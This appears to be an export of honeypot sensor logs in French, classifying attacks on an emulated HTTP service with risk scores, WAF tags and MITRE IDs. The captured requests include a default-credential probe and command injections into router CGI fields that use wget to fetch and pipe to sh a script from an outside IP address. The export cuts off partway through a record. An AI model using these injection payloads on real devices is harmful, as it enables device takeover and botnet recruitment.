"waf_rule_names": [
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: close",
"evidence": {
"method": "GET",
"path": "\/",
"waf_tags": [
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: close",
"classification_reason": "Sonde HTTP (tag sap-sapcontrol-path) \u00b7 confiance 80%"
},
"classification_reason": "Sonde HTTP (tag sap-sapcontrol-path) \u00b7 confiance 80%",
"confidence_breakdown": {
"waf": 20,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 40
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"confidence": 0.8,
"classification_confidence": 0.8,
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "131b88627b005953e3e4760624ae297ab5913542",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: close",
"attack_vector": "Sonde HTTP \u00b7 via HTTP:8081 \u00b7 (sonde \/ probe)",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 80 % \u2014 Score WAF 20 \u00b7 1 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde HTTP (tag sap-sapcontrol-path) \u00b7 confiance 80%",
"classification_reason_label_fr": "Sonde HTTP (tag sap-sapcontrol-path) \u00b7 confiance 80%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 40\/100",
"confidence_pct": 80,
"confidence_breakdown": {
"waf": 20,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 40
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 40,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "Sonde HTTP \u00b7 via HTTP:8081 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: close",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 80 % \u2014 Score WAF 20 \u00b7 1 tag(s) WAF",
"confidence_factors_fr": "Confiance 80 % \u2014 Score WAF 20 \u00b7 1 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"950734:sap-sapcontrol-path",
"http_auth_header_token",
"http_basic_auth",
"http_no_ua",
"net_web_probe"
]
}
11/07/2026 23:49:02 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /tmUnblock.cgi
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /tmUnblock.cgi
Émulateur
HTTP
WAF
41
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/tmUnblock.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/tmUnblock.cgi
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
Http Cmdi
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /tmUnblock.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /tmUnblock.cgi HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 294
Conne
Requête brute (extrait)
POST /tmUnblock.cgi HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 294 Connection: close submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h+%60cd%20/tmp%3Bwget%20http://91
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "6cff281bfb0055f2e5c6afc1d923500419949544",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 438,
"payload_entropy": 5.308016986418687,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 11,
"anomaly_count": 0,
"campaign_key": "1b72e0cad9dc4a2599a7718a58f3889624ca7773",
"event_fingerprint": "06fbfbf2356862692413fb487e5b816ccb56c176",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 142,
"precision_signals": [
"INT-http_cmdi",
"pat-0146"
],
"kb_rule_ids": [
"INT-http_cmdi",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "85202c1c22f49925853cdbd7b9e8248c",
"path_pattern_hash": "40d64e5af66418a51c5ae33f5e8eb67d"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 294\r\nConne",
"method": "POST",
"path": "\/tmUnblock.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/tmUnblock.cgi HTTP\/1.1",
"request_sample": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 294\r\nConnection: close\r\n\r\nsubmit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h+%60cd%20\/tmp%3Bwget%20http:\/\/91",
"payload_snippet": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 294\r\nConne",
"evidence": {
"method": "POST",
"path": "\/tmUnblock.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/tmUnblock.cgi HTTP\/1.1",
"request_sample": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 294\r\nConnection: close\r\n\r\nsubmit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h+%60cd%20\/tmp%3Bwget%20http:\/\/91",
"payload_snippet": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 294\r\nConne",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "ff8fa4cbbbbb7c72bd6f60f2cf1eceb1c848bee6",
"protocol_details": {
"http_method": "POST",
"http_path": "\/tmUnblock.cgi",
"request_line": "POST \/tmUnblock.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 294\r\nConne",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/tmUnblock.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_cmdi",
"pat-0146"
],
"tags_summary_labels_fr": [
"Http Cmdi",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/tmUnblock.cgi",
"request_line": "POST \/tmUnblock.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/tmUnblock.cgi",
"evidence_snippet": "POST \/tmUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 294\r\nConne",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:02 UTC
TCP
8081 · HTTP
Sonde HTTP smuggling
http smuggling probe · via HTTP:8081 · (tentative d'exploit) · → /hndUnblock.cgi
Élevée
Élevé · 80
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /hndUnblock.cgi
Émulateur
HTTP
WAF
41
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/hndUnblock.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/hndUnblock.cgi
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 80
Confiance : Confiance 95 % — Motif catalogue confirmé · 6 tag(s) WAF
Protocole émulé
1 Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
LFI Double-dot bypass
Ligne de requête
POST /hndUnblock.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /hndUnblock.cgi HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 299
Conn
Requête brute (extrait)
POST /hndUnblock.cgi HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 299 Connection: close ttcp_ip=-h%20%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lunblk%3Bbusybox%20wget%20http
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "b49e2ce11732566567c2a35c365676c189916029",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 444,
"payload_entropy": 5.324340749294121,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 80,
"tag_count": 10,
"anomaly_count": 0,
"campaign_key": "b9aeaac3a723005ca72bac8a661b6a8af9839fb2",
"event_fingerprint": "dd0f82d801799aa10bcc39ea50a103ff477a827c",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "fda6a6bde6c51815aa42be1d271960b5",
"path_pattern_hash": "7e7da887259ec686429949e3a182bb9c"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 80
},
"payload_preview": "POST \/hndUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 299\r\nConn",
"method": "POST",
"path": "\/hndUnblock.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/hndUnblock.cgi HTTP\/1.1",
"request_sample": "POST \/hndUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 299\r\nConnection: close\r\n\r\nttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lunblk%3Bbusybox%20wget%20http",
"payload_snippet": "POST \/hndUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 299\r\nConn",
"evidence": {
"method": "POST",
"path": "\/hndUnblock.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/hndUnblock.cgi HTTP\/1.1",
"request_sample": "POST \/hndUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 299\r\nConnection: close\r\n\r\nttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lunblk%3Bbusybox%20wget%20http",
"payload_snippet": "POST \/hndUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 299\r\nConn",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "937b54698ffc02423194e25f05375fb9e054d941",
"protocol_details": {
"http_method": "POST",
"http_path": "\/hndUnblock.cgi",
"request_line": "POST \/hndUnblock.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/hndUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 299\r\nConn",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/hndUnblock.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 80\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 80,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/hndUnblock.cgi",
"request_line": "POST \/hndUnblock.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/hndUnblock.cgi",
"evidence_snippet": "POST \/hndUnblock.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 299\r\nConn",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 03:13:04 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /cgi-bin/ping.cgi
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /cgi-bin/ping.cgi
Émulateur
HTTP
WAF
53
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/cgi-bin/ping.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/cgi-bin/ping.cgi
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0775
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
SSRF Localhost SSRF
LFI Double-dot bypass
Ligne de requête
POST /cgi-bin/ping.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-2
ssrf-3
nosqli-3
Payload (extrait)
POST /cgi-bin/ping.cgi HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 177
Co
Requête brute (extrait)
POST /cgi-bin/ping.cgi HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 177 Connection: close host=127.0.0.1`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s planet;busybox wget http://91.92.40.118/wge
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "65fac1e13662738a1c1aa1ef0f221b11f428cd4f",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 324,
"payload_entropy": 5.144737549580534,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
